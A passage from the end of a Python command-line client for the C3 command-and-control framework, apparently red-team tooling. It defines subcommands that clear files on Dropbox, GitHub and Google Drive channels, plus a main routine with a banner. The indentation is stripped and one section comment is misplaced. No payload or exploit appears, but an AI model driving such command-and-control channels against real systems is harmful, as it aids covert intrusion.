dropbox = parser_channel_sub.add_parser('dropbox', help = 'Dropbox channel specific commands.')
dropbox_parser = dropbox.add_subparsers(help = 'Command to send', required = True)
### clear
dropbox_clear = dropbox_parser.add_parser('clear', help = 'Clear all files.')
dropbox_clear.set_defaults(func = onDropboxClear)
## Dropbox
github = parser_channel_sub.add_parser('github', help = 'Github channel specific commands.')
github_parser = github.add_subparsers(help = 'Command to send', required = True)
### clear
github_clear = github_parser.add_parser('clear', help = 'Clear all files.')
github_clear.set_defaults(func = onGithubClear)
## GoogleDrive
gdrive = parser_channel_sub.add_parser('googledrive', help = 'GoogleDrive channel specific commands.')
gdrive_parser = gdrive.add_subparsers(help = 'Command to send', required = True)
### clear
gdrive_clear = gdrive_parser.add_parser('clear', help = 'Clear all files.')
gdrive_clear.set_defaults(func = onGoogleDriveClear)
try:
args = opts.parse_args()
except TypeError:
opts.parse_args(argv.append('--help'))
sys.exit(1)
config.update(vars(args))
return args.func(args)
def main(argv):
print('''
:: F-Secure's C3 Client - a lightweight automated companion with C3 voyages
Mariusz Banach / mgeeky, <mb@binary-offensive.com>
''')
parseArgs(argv)
if config['format'] == 'text':
print()
if __name__ == '__main__':
main(sys.argv)